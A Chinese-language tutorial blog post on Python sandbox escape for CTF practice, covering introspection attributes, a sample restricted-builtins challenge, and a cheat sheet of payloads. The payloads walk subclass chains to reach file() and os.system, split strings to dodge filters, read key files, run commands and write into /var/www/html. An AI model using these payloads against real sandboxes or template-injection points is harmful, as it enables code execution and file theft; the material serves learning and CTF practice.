Python沙盒绕过

基础

一些函数需要了解一下,这篇文章讲的已经很详细了:https://xz.aliyun.com/t/2308#toc-12,概括一下分别是下面的函数

  • __class__ :返回一个实例所属的类
  • __bases__ :返回一个类直接所继承的类(元组形式)
  • __mro__ :列出解析方法的调用顺序,类似于bases
  • __subclasses__():返回子类列表
  • __dict__ : 列出当前属性/函数的字典
  • func_globals:返回一个包含函数全局变量的字典引用
  • __globals__:返回一个当前空间下能使用的模块,方法和变量的字典

上面的模块中可以尝试理解mro和bases之间的区别,两个的东西还是有点区别的,只是作用在绕过上功能类似。个人感觉mro的发展过程有点像从dfs编程bfs。。。

dir方法

  • dir()在没有参数的时候返回本地作用域中的名称列表
  • dir()在有参数的时候返回该对象的有效属性列表

对比一下下面的例子就知道了,以py2为例:

ktIJLd.png

内联模块

python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在内联模块中可以查到。

常用的有下面两个:__import__以及__builtins__,但是在py2里面内置模块名字叫__builtin__,py3改名叫__builtins__

1
2
3
4
5
6
7
8
9
10
11
12
#python 2.7
In [4]: __builtin__
Out[4]: <module '__builtin__' (built-in)>

In [5]: __builtins__
Out[5]: <module '__builtin__' (built-in)>
#python 3.6
In [2]: __builtin__
Out[2]: <module 'builtins' (built-in)>

In [3]: __builtins__
Out[3]: <module 'builtins' (built-in)>

在py2中,在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。

非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

注意:

如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.__dict__[b<name>]的方法间接访问模块b。

弄一个沙盒环境

一般读取目录的时候需要使用到os.system函数,这样的一句话这样写

1
__import__('os').system('dir')

然后我们可以把一些关键模块给删掉

1
2
3
4
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
# 管理员删了很多的危险函数
del __builtins__.__dict__['...']

这时候import已经失效了

1
2
3
4
>>> import base64
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: __import__ not found

但是可以用 reload来重新导入模块。

1
2
3
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> import base64

但是请注意,在Python 3.0把reload内置函数移到了import库模块中。所以python3中,这个方法已经失效了

所以在制作py2.7沙箱的时候,还需要删除reload的方法。

一道题目

这个题目很常见了,py2的环境,自己拿来练下手,最后是读取当前文件夹下的key文件,删除了很多关键函数,也包括了reload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e

用file类去读取文件

面对这个时候我们已经不能使用__import__('os').system('dir')去读取文件但我们可以利用object类去寻找file类去读取文件内容

思路是这样的:

  1. 随便找一个内置类对象用__class__拿到他所对应的类
  2. __bases__拿到基类(<class 'object'>
  3. __subclasses__()拿到子类列表
  4. 在子类列表中直接寻找可以利用的类

也就是

().__class__.__bases__[0].__subclasses__()[40]

但是面对__subclasses__的子类太多找不到对应的file类怎么办?可以这样去寻找

1
2
3
4
5
6
7
8
#coding:utf-8

search = 'file' #这里填写你要寻找的类即可
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
if 'file' in str(i):
print num
num += 1

然后可以用dir函数查看里面的方法

1
dir(().__class__.__bases__[0].__subclasses__()[40])
1
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

所以最后的payload:

1
2
3
().__class__.__bases__[0].__subclasses__()[40]('./key').read()
#同样的效果
().__class__.__mro__[1].__subclasses__()[40]('./key').read()

等价于

1
file('./key').read()

注意py3已经移除了file了这种方法也只能在py3里面使用

利用内置函数执行命令

可以根据第一种的思路接着探索。第一种止步于把内置的对象列举出来,其实可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等),查找os模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding:utf-8

search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
'''
(<class 'site._Printer'>, 71)
(<class 'site.Quitter'>, 76)
'''

然后构造继承链

1
2
().__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[76].__init__.__globals__['os'].system('whoami')

但是这个方法也只能在py2里面实现,同样在前面的SSTI注入中vulhub给的测试payload用的是class 'warnings.catch_warnings'这一个类,同样这个类里面也有os模块,可以像下面这个样子

1
2
3
().__class__.__bases__[0].__subclasses__()[59]
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
# func_globals:返回一个包含函数全局变量的字典引用;

上面的方法大都有限制,py2跟py3可以使用__builtins__通吃

py3

1
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

py2

1
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

因为__builtins__返回的是一个字典。通过has_key的方法,可以发现我们想要的是否存在

1
2
>>> ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__.has_key('reload')
True

所以在出题的时候我们可以把该模块下的函数删掉

1
del __builtins__.__dict__['__import__']

python 代码执行函数与新特性以及f修饰符

下面内容摘取自https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html以及http://shaobaobaoer.cn/archives/656/python-sandbox-escape

在python中常见的代码执行函数如下所示

(1)timeit

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

(2)exec 和eval 比较经典了

1
eval('__import__("os").system("dir")')

(3)platform

1
2
import platform
print platform.popen('dir').read()

(4) getattr() 和 getattribute()

1
2
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

​ (5)f修饰符

用f修饰的字符串将可以执行代码, 但只有python版本在 3.6.0朝上才有这个方法

kNEfSK.png

这种代码执行方法和PHP中的<?php "${@phpinfo()}"; ?>很类似,这是Python中很少有的几个能够直接将字符串转变成的代码的方式

执行代码总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 利用file()函数读取文件:(写类似)
().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

# 利用 __getattibute__ 方法

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

### 上述命令需要通过哦 exec 或者别的命令执行函数执行

python3
py2 [58] <class 'warnings.catch_warnings'> 对应 py3 [157]
().__class__.__bases__[0].__subclasses__()[157]()._module.__builtins__['__import__']("os").system("ls")
推荐的另外一个类
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

就先总结到这里吧,感觉这个东西联系起SSTI还是可以起很大的作用的。

参考:

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

https://xz.aliyun.com/t/2308#toc-12

https://www.anquanke.com/post/id/85571

http://shaobaobaoer.cn/archives/656/python-sandbox-escape


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 基础
  2. 2. dir方法
  3. 3. 内联模块
  4. 4. 注意:
  5. 5. 弄一个沙盒环境
  6. 6. 一道题目
    1. 6.1. 用file类去读取文件
    2. 6.2. 利用内置函数执行命令
  • python 代码执行函数与新特性以及f修饰符